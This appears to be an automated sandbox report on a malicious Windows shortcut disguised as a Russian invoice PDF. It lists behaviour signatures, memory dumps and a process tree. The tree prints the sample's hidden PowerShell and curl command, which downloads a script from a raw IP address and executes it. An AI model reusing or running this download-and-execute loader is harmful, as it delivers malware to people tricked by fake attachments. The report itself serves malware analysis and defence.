Analysis

  • max time kernel
    299s
  • max time network
    133s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 16:59

General

  • Target
    Счет на оплату № 1631 от 03.08.2026.pdf.lnk
  • Size 1KB
  • Sample260804-vhtdcas1az
  • SHA256 4fd889f5ac9c02f5e66c36b909bf05261495c01cc8384c548388fff62241eb07
  • MD5 SHA1 SHA512 TLSH
Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Счет на оплату № 1631 от 03.08.2026.pdf.lnk"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:936
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h -c start curl -args '193.124.9.153/down','-o','c:\programdata\r.cmd';sleep 6;c:\programdata\r.cmd
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5080
      • C:\Windows\system32\curl.exe
        "C:\Windows\system32\curl.exe" 193.124.9.153/down -o c:\programdata\r.cmd
        3⤵
          PID:4432

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/5080-2-0x00007FFC6D72F000-0x00007FFC6D730000-memory.dmp

          memory/5080-3-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/5080-6-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/5080-7-0x000001F855C80000-0x000001F855CA2000-memory.dmp

          memory/5080-8-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/5080-9-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/5080-10-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/5080-11-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/5080-12-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/5080-13-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/5080-15-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/5080-14-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/5080-16-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/5080-17-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/5080-18-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/5080-19-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/5080-21-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp